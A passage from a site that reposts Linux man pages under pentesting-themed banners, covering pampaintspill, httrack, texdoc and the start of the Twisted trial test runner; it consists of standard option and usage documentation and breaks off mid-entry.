              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1596 - Linux cli command pampaintspill

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pampaintspill and provides detailed information about the command pampaintspill, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pampaintspill.

.

NAME 🖥️ pampaintspill 🖥️

smoothly spill colors into the background

SYNOPSIS

pampaintspill [–bgcolor=color] [–wrap] [–all] [–downsample=number] [–near=number] [–power=number] [filename] [**-randomseed=**integer]

Minimum unique abbreviations of option are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pampaintspill produces a smooth color gradient from all of the non-background-colored pixels in an input image, effectively “spilling paint” onto the background. pampaintspill is similar to pamgradient but differs in the following characteristics:

  • pampaintspill accepts any number of paint sources (non-background-colored pixels), which can lie anywhere on the canvas. pamgradient accepts exactly four paint sources, one in each corner of the image.

  • pampaintspill requires an input image while pamgradient generates a new image from scratch.

  • pampaintspill can produce tileable output and can control how tightly the gradient colors bind to their source pixels.

Results are generally best when the input image contains just a few, crisp spots of color. Use your drawing program’s pencil tool - as opposed to a paintbrush or airbrush tool - with a small nib.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pampaintspill recognizes the following command line options:

–bgcolor=color
Explicitly specify the background color. color can be specified using any of the formats accepted by the pnm_parsecolor() library routine such as red or #ff0000. If –bgcolor is not specified, pampaintspill makes an educated guess about the background color based on the colors in the image’s corners.

–wrap
Allow gradients to wrap around image borders. That is, colors that spill off the right side of the image reappear on the left side of the image and likewise for left/right, top/bottom, and bottom/top. –wrap makes images tileable, which is nice for producing desktop backgrounds.

–all
Recolor all pixels, not just background pixels. Normally, non-background-colored pixels in the input image appear unmodified in the output image. With –all, all pixels are colored based on their distance from all of the (other) non-background-colored pixels.

–downsample=number
Ignore all but number non-background-colored pixels. When a large number of pixels in the input image differ in color from the background, pampaintspill runs very slowly. The –downsample option randomly selects a given number of colored pixels to use as paint sources for the gradients and ignores the rest, thereby trading off image quality for speed of execution.

–near=number
Consider only the nearest number paint sources when computing a pixel’s new color. The default is to consider all paint sources. In most cases, number should be fairly small, or its impact will be minimal and execution time will increase unnecessarily. A value of 1 produces a coloring that looks a lot like a Voronoi diagram.

This option was new in Netpbm 10.97 (December 2021).

–power=number
Control how color intensity changes as a function of the distance from a paint source. The default value for number is -2.0, which means that intensity drops (because of the minus sign) with the square (because of the 2.0) of the distance from each paint source. -2.0 generally works well in practice, but other values can be specified for various special effects. With very small numbers of paint sources, -1.0 may produce subtler gradients, but these get muddier as the number of paint sources increases. Positive numbers (e.g., 1.0 and 2.0) make the paint sources stand out in the output image by pushing the gradients away from them.

**-randomseed=**integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

This option was new in Netpbm 10.94 (March 2021).

SEE ALSO

  • pamgradient(1)

  • ppmmake(1) ,

  • ppmrainbow(1) ,

  • pgmramp(1) ,

  • ppmpat(1) ,

  • pam(1)

HISTORY

pampaintspill was new in Netpbm 10.50 (March 2010).

COPYRIGHT

Copyright © 2010–2021 Scott Pakin, [email protected].

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pampaintspill.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1597 - Linux cli command httrack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command httrack and provides detailed information about the command httrack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the httrack.

NAME 🖥️ httrack 🖥️

offline browser : copy websites to a local directory

SYNOPSIS

httrack [ url ]… [ -filter ]… [ +filter ]… [ -O, –path ] [ -w, –mirror ] [ -W, –mirror-wizard ] [ -g, –get-files ] [ -i, –continue ] [ -Y, –mirrorlinks ] [ -P, –proxy ] [ -%f, –httpproxy-ftp[=N] ] [ -%b, –bind ] [ -rN, –depth[=N] ] [ -%eN, –ext-depth[=N] ] [ -mN, –max-files[=N] ] [ -MN, –max-size[=N] ] [ -EN, –max-time[=N] ] [ -AN, –max-rate[=N] ] [ -%cN, –connection-per-second[=N] ] [ -GN, –max-pause[=N] ] [ -cN, –sockets[=N] ] [ -TN, –timeout[=N] ] [ -RN, –retries[=N] ] [ -JN, –min-rate[=N] ] [ -HN, –host-control[=N] ] [ -%P, –extended-parsing[=N] ] [ -n, –near ] [ -t, –test ] [ -%L, –list ] [ -%S, –urllist ] [ -NN, –structure[=N] ] [ -%D, –cached-delayed-type-check ] [ -%M, –mime-html ] [ -LN, –long-names[=N] ] [ -KN, –keep-links[=N] ] [ -x, –replace-external ] [ -%x, –disable-passwords ] [ -%q, –include-query-string ] [ -o, –generate-errors ] [ -X, –purge-old[=N] ] [ -%p, –preserve ] [ -%T, –utf8-conversion ] [ -bN, –cookies[=N] ] [ -u, –check-type[=N] ] [ -j, –parse-java[=N] ] [ -sN, –robots[=N] ] [ -%h, –http-10 ] [ -%k, –keep-alive ] [ -%B, –tolerant ] [ -%s, –updatehack ] [ -%u, –urlhack ] [ -%A, –assume ] [ -@iN, –protocol[=N] ] [ -%w, –disable-module ] [ -F, –user-agent ] [ -%R, –referer ] [ -%E, –from ] [ -%F, –footer ] [ -%l, –language ] [ -%a, –accept ] [ -%X, –headers ] [ -C, –cache[=N] ] [ -k, –store-all-in-cache ] [ -%n, –do-not-recatch ] [ -%v, –display ] [ -Q, –do-not-log ] [ -q, –quiet ] [ -z, –extra-log ] [ -Z, –debug-log ] [ -v, –verbose ] [ -f, –file-log ] [ -f2, –single-log ] [ -I, –index ] [ -%i, –build-top-index ] [ -%I, –search-index ] [ -pN, –priority[=N] ] [ -S, –stay-on-same-dir ] [ -D, –can-go-down ] [ -U, –can-go-up ] [ -B, –can-go-up-and-down ] [ -a, –stay-on-same-address ] [ -d, –stay-on-same-domain ] [ -l, –stay-on-same-tld ] [ -e, –go-everywhere ] [ -%H, –debug-headers ] [ -%!, –disable-security-limits ] [ -V, –userdef-cmd ] [ -%W, –callback ] [ -K, –keep-links[=N] ] [

DESCRIPTION

httrack allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site’s relative link-structure. Simply open a page of the “mirrored” website in your browser, and you can browse the site from link to link, as if you were viewing it online. HTTrack can also update an existing mirrored site, and resume interrupted downloads.

EXAMPLES

httrack www.someweb.com/bob/
mirror site www.someweb.com/bob/ and only this site

httrack www.someweb.com/bob/ www.anothertest.com/mike/ +*.com/*.jpg -mime:application/*
mirror the two sites together (with shared links) and accept any .jpg files on .com sites

httrack www.someweb.com/bob/bobby.html +* -r6
means get all files starting from bobby.html, with 6 link-depth, and possibility of going everywhere on the web

httrack www.someweb.com/bob/bobby.html –spider -P proxy.myhost.com:8080
runs the spider on www.someweb.com/bob/bobby.html using a proxy

httrack –update
updates a mirror in the current folder

httrack
will bring you to the interactive mode

httrack –continue
continues a mirror in the current folder

OPTIONS

General options:

-O
path for mirror/logfiles+cache (-O path mirror[,path cache and logfiles]) (–path <param>)

Action options:

-w
*mirror web sites (–mirror)

-W
mirror web sites, semi-automatic (asks questions) (–mirror-wizard)

-g
just get files (saved in the current directory) (–get-files)

-i
continue an interrupted mirror using the cache (–continue)

-Y
mirror ALL links located in the first level pages (mirror links) (–mirrorlinks)

Proxy options:

-P
proxy use (-P proxy:port or -P user:pass@proxy:port) (–proxy <param>)

-%f
*use proxy for ftp (f0 don t use) (–httpproxy-ftp[=N])

-%b
use this local hostname to make/send requests (-%b hostname) (–bind <param>)

Limits options:

-rN
set the mirror depth to N (* r9999) (–depth[=N])

-%eN
set the external links depth to N (* %e0) (–ext-depth[=N])

-mN
maximum file length for a non-html file (–max-files[=N])

-mN,N2
maximum file length for non html (N) and html (N2)

-MN
maximum overall size that can be uploaded/scanned (–max-size[=N])

-EN
maximum mirror time in seconds (60=1 minute, 3600=1 hour) (–max-time[=N])

-AN
maximum transfer rate in bytes/seconds (1000=1KB/s max) (–max-rate[=N])

-%cN
maximum number of connections/seconds (*%c10) (–connection-per-second[=N])

-GN
pause transfer if N bytes reached, and wait until lock file is deleted (–max-pause[=N])

Flow control:

-cN
number of multiple connections (*c8) (–sockets[=N])

-TN
timeout, number of seconds after a non-responding link is shutdown (–timeout[=N])

-RN
number of retries, in case of timeout or non-fatal errors (*R1) (–retries[=N])

-JN
traffic jam control, minimum transfert rate (bytes/seconds) tolerated for a link (–min-rate[=N])

-HN
host is abandoned if: 0=never, 1=timeout, 2=slow, 3=timeout or slow (–host-control[=N])

-%P
*extended parsing, attempt to parse all links, even in unknown tags or Javascript (%P0 don t use) (–extended-parsing[=N])

-n
get non-html files near an html file (ex: an image located outside) (–near)

-t
test all URLs (even forbidden ones) (–test)

-%L
<file> add all URL located in this text file (one URL per line) (–list <param>)

-%S
<file> add all scan rules located in this text file (one scan rule per line) (–urllist <param>)

Build options:

-NN
structure type (0 *original structure, 1+: see below) (–structure[=N])

-or
user defined structure (-N “%h%p/%n%q.%t”)

-%N
delayed type check, don t make any link test but wait for files download to start instead (experimental) (%N0 don t use, %N1 use for unknown extensions, * %N2 always use)

-%D
cached delayed type check, don t wait for remote type during updates, to speedup them (%D0 wait, * %D1 don t wait) (–cached-delayed-type-check)

-%M
generate a RFC MIME-encapsulated full-archive (.mht) (–mime-html)

-LN
long names (L1 *long names / L0 8-3 conversion / L2 ISO9660 compatible) (–long-names[=N])

-KN
keep original links (e.g. http://www.adr/link) (K0 *relative link, K absolute links, K4 original links, K3 absolute URI links, K5 transparent proxy link) (–keep-links[=N])

-x
replace external html links by error pages (–replace-external)

-%x
do not include any password for external password protected websites (%x0 include) (–disable-passwords)

-%q
*include query string for local files (useless, for information purpose only) (%q0 don t include) (–include-query-string)

-o
*generate output html file in case of error (404..) (o0 don t generate) (–generate-errors)

-X
*purge old files after update (X0 keep delete) (–purge-old[=N])

-%p
preserve html files as is (identical to -K4 -%F "" ) (–preserve)

-%T
links conversion to UTF-8 (–utf8-conversion)

Spider options:

-bN
accept cookies in cookies.txt (0=do not accept,* 1=accept) (–cookies[=N])

-u
check document type if unknown (cgi,asp..) (u0 don t check, * u1 check but /, u2 check always) (–check-type[=N])

-j
*parse Java Classes (j0 don t parse, bitmask: |1 parse default, |2 don t parse .class |4 don t parse .js |8 don t be aggressive) (–parse-java[=N])

-sN
follow robots.txt and meta robots tags (0=never,1=sometimes,* 2=always, 3=always (even strict rules)) (–robots[=N])

-%h
force HTTP/1.0 requests (reduce update features, only for old servers or proxies) (–http-10)

-%k
use keep-alive if possible, greately reducing latency for small files and test requests (%k0 don t use) (–keep-alive)

-%B
tolerant requests (accept bogus responses on some servers, but not standard!) (–tolerant)

-%s
update hacks: various hacks to limit re-transfers when updating (identical size, bogus response..) (–updatehack)

-%u
url hacks: various hacks to limit duplicate URLs (strip //, www.foo.com==foo.com..) (–urlhack)

-%A
assume that a type (cgi,asp..) is always linked with a mime type (-%A php3,cgi=text/html;dat,bin=application/x-zip) (–assume <param>)

-can
also be used to force a specific file type: –assume foo.cgi=text/html

-@iN
internet protocol (0=both ipv6+ipv4, 4=ipv4 only, 6=ipv6 only) (–protocol[=N])

-%w
disable a specific external mime module (-%w htsswf -%w htsjava) (–disable-module <param>)

Browser ID:

-F
user-agent field sent in HTTP headers (-F “user-agent name”) (–user-agent <param>)

-%R
default referer field sent in HTTP headers (–referer <param>)

-%E
from email address sent in HTTP headers (–from <param>)

-%F
footer string in Html code (-%F “Mirrored [from host %s [file %s [at %s]]]” (–footer <param>)

-%l
preffered language (-%l “fr, en, jp, *” (–language <param>)

-%a
accepted formats (-%a “text/html,image/png;q=0.9,*/*;q=0.1” (–accept <param>)

-%X
additional HTTP header line (-%X “X-Magic: 42” (–headers <param>)

Log, index, cache

-C
create/use a cache for updates and retries (C0 no cache,C1 cache is prioritary,* C2 test update before) (–cache[=N])

-k
store all files in cache (not useful if files on disk) (–store-all-in-cache)

-%n
do not re-download locally erased files (–do-not-recatch)

-%v
display on screen filenames downloaded (in realtime) - * %v1 short version - %v2 full animation (–display)

-Q
no log - quiet mode (–do-not-log)

-q
no questions - quiet mode (–quiet)

-z
log - extra infos (–extra-log)

-Z
log - debug (–debug-log)

-v
log on screen (–verbose)

-f
*log in files (–file-log)

-f2
one single log file (–single-log)

-I
*make an index (I0 don t make) (–index)

-%i
make a top index for a project folder (* %i0 don t make) (–build-top-index)

-%I
make an searchable index for this mirror (* %I0 don t make) (–search-index)

Expert options:

-pN
priority mode: (* p3) (–priority[=N])

-p0
just scan, don t save anything (for checking links)

-p1
save only html files

-p2
save only non html files

-*p3
save all files

-p7
get html files before, then treat other files

-S
stay on the same directory (–stay-on-same-dir)

-D
*can only go down into subdirs (–can-go-down)

-U
can only go to upper directories (–can-go-up)

-B
can both go up&down into the directory structure (–can-go-up-and-down)

-a
*stay on the same address (–stay-on-same-address)

-d
stay on the same principal domain (–stay-on-same-domain)

-l
stay on the same TLD (eg: .com) (–stay-on-same-tld)

-e
go everywhere on the web (–go-everywhere)

-%H
debug HTTP headers in logfile (–debug-headers)

Guru options: (do NOT use if possible)

-#X
*use optimized engine (limited memory boundary checks) (–fast-engine)

-#0
filter test (-#0 *.gif www.bar.com/foo.gif ) (–debug-testfilters <param>)

-#1
simplify test (-#1 ./foo/bar/../foobar)

-#2
type test (-#2 /foo/bar.php)

-#C
cache list (-#C *.com/spider*.gif (–debug-cache <param>)

-#R
cache repair (damaged cache) (–repair-cache)

-#d
debug parser (–debug-parsing)

-#E
extract new.zip cache meta-data in meta.zip

-#f
always flush log files (–advanced-flushlogs)

-#FN
maximum number of filters (–advanced-maxfilters[=N])

-#h
version info (–version)

-#K
scan stdin (debug) (–debug-scanstdin)

-#L
maximum number of links (-#L1000000) (–advanced-maxlinks[=N])

-#p
display ugly progress information (–advanced-progressinfo)

-#P
catch URL (–catch-url)

-#R
old FTP routines (debug) (–repair-cache)

-#T
generate transfer ops. log every minutes (–debug-xfrstats)

-#u
wait time (–advanced-wait)

-#Z
generate transfer rate statistics every minutes (–debug-ratestats)

Dangerous options: (do NOT use unless you exactly know what you are doing)

-%!
bypass built-in security limits aimed to avoid bandwidth abuses (bandwidth, simultaneous connections) (–disable-security-limits)

-IMPORTANT
NOTE: DANGEROUS OPTION, ONLY SUITABLE FOR EXPERTS

-USE
IT WITH EXTREME CARE

Command-line specific options:

-V
execute system command after each files ($0 is the filename: -V “rm \0”) (–userdef-cmd <param>)

-%W
use an external library function as a wrapper (-%W myfoo.so[,myparameters]) (–callback <param>)

Details: Option N

-N0
Site-structure (default)

-N1
HTML in web/, images/other files in web/images/

-N2
HTML in web/HTML, images/other in web/images

-N3
HTML in web/, images/other in web/

-N4
HTML in web/, images/other in web/xxx, where xxx is the file extension (all gif will be placed onto web/gif, for example)

-N5
Images/other in web/xxx and HTML in web/HTML

-N99
All files in web/, with random names (gadget !)

-N100
Site-structure, without www.domain.xxx/

-N101
Identical to N1 except that “web” is replaced by the site s name

-N102
Identical to N2 except that “web” is replaced by the site s name

-N103
Identical to N3 except that “web” is replaced by the site s name

-N104
Identical to N4 except that “web” is replaced by the site s name

-N105
Identical to N5 except that “web” is replaced by the site s name

-N199
Identical to N99 except that “web” is replaced by the site s name

-N1001
Identical to N1 except that there is no “web” directory

-N1002
Identical to N2 except that there is no “web” directory

-N1003
Identical to N3 except that there is no “web” directory (option set for g option)

-N1004
Identical to N4 except that there is no “web” directory

-N1005
Identical to N5 except that there is no “web” directory

-N1099
Identical to N99 except that there is no “web” directory

Details: User-defined option N

%n Name of file without file type (ex: image) %N Name of file, including file type (ex: image.gif) %t File type (ex: gif) %p Path [without ending /] (ex: /someimages) %h Host name (ex: www.someweb.com) %M URL MD5 (128 bits, 32 ascii bytes) %Q query string MD5 (128 bits, 32 ascii bytes) %k full query string %r protocol name (ex: http) %q small query string MD5 (16 bits, 4 ascii bytes) %s? Short name version (ex: %sN) %[param] param variable in query string %[param:before:after:empty:notfound] advanced variable extraction

Details: User-defined option N and advanced variable extraction

%[param:before:after:empty:notfound]

-param
parameter name
-before
string to prepend if the parameter was found
-after
string to append if the parameter was found
-notfound
string replacement if the parameter could not be found
-empty
string replacement if the parameter was empty

-all
fields, except the first one (the parameter name), can be empty

Details: Option K

-K0
foo.cgi?q=45 -> foo4B54.html?q=45 (relative URI, default)

-K
-> http://www.foobar.com/folder/foo.cgi?q=45 (absolute URL) (–keep-links[=N])

-K3
-> /folder/foo.cgi?q=45 (absolute URI)

-K4
-> foo.cgi?q=45 (original URL)

-K5
-> http://www.foobar.com/folder/foo4B54.html?q=45 (transparent proxy URL)

Shortcuts:

–mirror
<URLs> *make a mirror of site(s) (default)

–get
<URLs> get the files indicated, do not seek other URLs (-qg)

–list
<text file> add all URL located in this text file (-%L)

–mirrorlinks
<URLs> mirror all links in 1st level pages (-Y)

–testlinks
<URLs> test links in pages (-r1p0C0I0t)

–spider
<URLs> spider site(s), to test links: reports Errors & Warnings (-p0C0I0t)

–testsite
<URLs> identical to –spider

–skeleton
<URLs> make a mirror, but gets only html files (-p1)

–update
update a mirror, without confirmation (-iC2)

–continue
continue a mirror, without confirmation (-iC1)

–catchurl
create a temporary proxy to capture an URL or a form post URL

–clean
erase cache & log files

–http10
force http/1.0 requests (-%h)

Details: Option %W: External callbacks prototypes

see htsdefines.h

FILES

/etc/httrack.conf

The system wide configuration file.

ENVIRONMENT

HOME
Is being used if you defined in /etc/httrack.conf the line path ~/websites/#

DIAGNOSTICS

Errors/Warnings are reported to hts-log.txt by default, or to stderr if the -v option was specified.

LIMITS

These are the principals limits of HTTrack for that moment. Note that we did not heard about any other utility that would have solved them.

BUGS

Please reports bugs to <[email protected]>. Include a complete, self-contained example that will allow the bug to be reproduced, and say which version of httrack you are using. Do not forget to detail options used, OS version, and any other information you deem necessary.

COPYRIGHT

Copyright (C) 1998-2024 Xavier Roche and other contributors

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

AVAILABILITY

The most recent released version of httrack can be found at: http://www.httrack.com

AUTHOR

Xavier Roche <[email protected]>

SEE ALSO

The HTML documentation (available online at http://www.httrack.com/html/ ) contains more detailed information. Please also refer to the httrack FAQ (available online at http://www.httrack.com/html/faq.html )

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1598 - Linux cli command texdoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command texdoc and provides detailed information about the command texdoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the texdoc.

NAME 🖥️ texdoc 🖥️

find & view documentation in TeX Live

SYNOPSIS

texdoc [OPTION]… NAME…
texdoc [OPTION]… ACTION

DESCRIPTION

Try to find appropriate TeX documentation for the specified NAME(s). Alternatively, perform the given ACTION and exit.

OPTIONS

-w, –view
Use view mode: start a viewer. (default)

-m, –mixed
Use mixed mode (view or list).

-l, –list
Use list mode: show a list of results.

-s, –showall
Use showall mode: show also “bad” results.

-i, –interact
Use interactive menus. (default)

-I, –nointeract
Use plain lists, no interaction required.

-M, –machine
Machine-readable output for lists (implies -I).

-q, –quiet
Suppress warnings and most error messages.

-v, –verbose
Print additional information (e.g., viewer command).

-D, –debug
Activate all debug output (equal to “–debug=all”).

-d LIST, –debug=LIST
Activate debug output restricted to the categories specified in LIST.
Available categories: config, files, search, score, texdocs, tlpdb, version, view, and all to activate all of these.

-c NAME=VALUE
Set configuration item NAME to VALUE.

ACTIONS

-h, –help
Print this help message.

-V, –version
Print the version number.

-f, –files
Print the list of configuration files used.

–just-view FILE
Display FILE, given with full path (no searching).

–print-completion SHELL
Print SHELL completion.

ENVIRONMENT

The following environment variables can be split by colon and used to set viewers:

BROWSER, BROWSER_texdoc
Set the command to be used for HTML documents.

DVIVIEWER, DVIVIEWER_texdoc
Set the command to be used for DVI documents.

MDVIEWER, MDVIEWER_texdoc
Set the command to be used for Markdown documents.

PAGER, PAGER_texdoc
Set the command to be used for text documents.

PDFVIEWER, PDFVIEWER_texdoc
Set the command to be used for PDF documents.

PSVIEWER, PSVIEWER_texdoc
Set the command to be used for PS documents.

The following environment variables are also used:

LANG, LC_ALL, LANGUAGE, LANGUAGE_texdoc
Set the locale, which will influence on the search results.

TEXDOCS
In addition to the documents included in the TeX Live database, Texdoc also searches documentation under TEXMF trees specified by the kpathsea variable TEXDOCS.

FILES

<texmf>/texdoc/texdoc.cnf, see output of the –files option.

EXIT STATUS

The texdoc command exists with one of the following values:

0
Success.

1
Internal error.

2
Usage error.

3
No documentation found.

REPORTING BUGS

Report bugs to [email protected].
Texdoc home page: http://tug.org/texdoc/
Source: https://github.com/TeX-Live/texdoc

COPYRIGHT

Copyright 2008-2024 Manuel Pe’gourie’-Gonnard, Takuto Asakura, the TeX Live Team.
License: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html.
This is free software: you are free to change and redistribute it.

SEE ALSO

The full documentation is maintained as a PDF manual. The command

texdoc texdoc

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1599 - Linux cli command trial3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command trial3 and provides detailed information about the command trial3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the trial3.

NAME 🖥️ trial3 🖥️

run unit tests

SYNOPSIS

trial [ options ] [ file | package | module | TestCase | testmethod ] …

trial –help | -h

DESCRIPTION

trial loads and executes a suite of unit tests, obtained from modules, packages and files listed on the command line.

trial will take either filenames or fully qualified Python names as arguments. Thus `trial myproject/foo.py’, `trial myproject.foo’ and `trial myproject.foo.SomeTestCase.test_method’ are all valid ways to invoke trial. Multiple such arguments are also accepted, and their order will determine the order in which the corresponding tests are run.

After running the given test suite, the default test reporter prints a summary of the test run. This consists of the word “PASSED” (if all tests ran as expected) or “FAILED” (if any test behaved unexpectedly) followed by a count of the different kinds of test results encountered. The possible kinds of test results includes:

successes
Tests that passed all their assertions and completed without error. These are marked “PASSED” in the normal test output.

failures
Tests that failed an assertion, called self.fail() or explicitly raised self.failureException for some reason. These are marked “FAILED” in the normal test output.

errors
Tests that raised an unexpected exception (including AssertionError), tests that caused the tearDown() method to raise an exception, tests that run for longer than the timeout interval, tests that caused something to call twisted.python.log.err() without subsequently calling self.flushLoggedErrors(), tests that leave the reactor in an unclean state, etc. These are marked “ERROR” in the normal test output.

Note that because errors can be caused after the actual test method returns, it is possible for a single test to be reported as both an error and a failure, and hence the total number of test results can be greater than the total number of tests executed.

skips
Tests that were skipped, usually because of missing dependencies. These are marked “SKIPPED” in the normal test output.

expectedFailures
Tests that failed, but were expected to fail, usually because the test is for a feature that hasn’t been implemented yet. These are marked “TODO” in the normal test output.

unexpectedSuccesses
Tests that should have been listed under expectedFailures, except that for some reason the test succeeded. These are marked “SUCCESS!?!” in the normal test output.

OPTIONS

-j, –jobs number
Set the number of process workers to run. It conflicts with the debug, exitfirst and profile options.

-b, –debug
Run the tests in a debugger. If that debugger is ‘pdb’ (which is the default if unspecified), a `.pdbrc’ will be loaded from the current directory if it exists. Also does post-mortem debugging on exceptions.

-B, –debug-stacktraces
Report Deferred creation and callback stack traces.

–coverage
Generate coverage information in the `coverage’ subdirectory of the trial temp directory (`_trial_temp’ by default). For each Python module touched by the execution of the given tests, a file will be created in the coverage directory named for the module’s fully-qualified name with the suffix `.cover’. For example, because the trial test runner is written in Python, the coverage directory will almost always contain a file named `twisted.trial.runner.cover’.

Each `.cover’ file contains a copy of the Python source of the module in question, with a prefix at the beginning of each line containing coverage information. For lines that are not executable (blank lines, comments, etc.) the prefix is blank. For executable lines that were run in the course of the test suite, the prefix is a number indicating the number of times that line was executed. The string `>>>>>>’ prefixes executable lines that were not executed in the course of the test suite.

Note that this functionality uses Python’s sys.settrace() function, so tests that call sys.settrace() themselves are likely to break trial’s coverage functionality.

–debugger
Specifies the debugger to use when the –debug option is passed. The argument should be the fully qualified name of an object that implements the same interface as the standard library’s `pdb'.

–disablegc
Disable the garbage collector for the duration of the test run. As each test is run, trial saves the TestResult objects, which means that Python’s garbage collector has more non-garbage objects to wade through, making each garbage-collection run slightly slower. Disabling garbage collection entirely will make some test suites complete faster (contrast –force-gc, below), at the cost of increasing (possibly greatly) memory consumption. This option also makes tests slightly more deterministic, which might help debugging in extreme circumstances.

-e, –rterrors
Print tracebacks to standard output as soon as they occur.

–force-gc
Run gc.collect() before and after each test case. This can be used to isolate errors that occur when objects get collected. This option would be the default, except it makes tests run about ten times slower.

-h, –help
Print a usage message to standard output, then exit.

–help-order
Print a list of possible orders that TestCase test methods can be run in, then exit. The orders can be used with the –order option described below.

–help-reporters
Print a list of valid reporters to standard output, then exit. Reporters can be selected with the –reporter option described below.

–help-reactors
Print a list of possible reactors to standard output, then exit. Not all listed reactors are available on every platform. Reactors can be selected with the –reactor option described below.

-l, –logfile logfile
Direct the log to a different file. The default file is `test.log’. logfile is relative to _trial_temp.

-n, –dry-run
Go through all the tests and make them pass without running.

-N, –no-recurse
By default, trial recurses through packages to find every module inside every subpackage. Unless, that is, you specify this option.

–nopm
Don’t automatically jump into debugger for post-mortem analysis of exceptions. Only usable in conjunction with –debug.

–order order
Specify what order to run the individual test methods within the given TestCases. By default, they are run alphabetically. See –help-order for a list of other valid values.

–profile
Run tests under the Python profiler.

-r, –reactor reactor
Choose which reactor to use. See –help-reactors for a list.

–recursionlimit limit
Set Python’s recursion limit. See sys.setrecursionlimit().

–reporter reporter
Select the reporter to use for trial’s output. Use the –help-reporters option to see a list of valid reporters.

-x, –exitfirst
Stop the test run after the first test which does not succeed. This includes failures, errors, or unexpected successes. Won’t work with the –jobs option currently.

–spew
Print an insanely verbose log of everything that happens. Useful when debugging freezes or locks in complex code.

–tbformat format
Format to display tracebacks with. Acceptable values are `default’, `brief’ and `verbose’. `brief’ produces tracebacks that play nicely with Emacs’ GUD.

–temp-directory directory
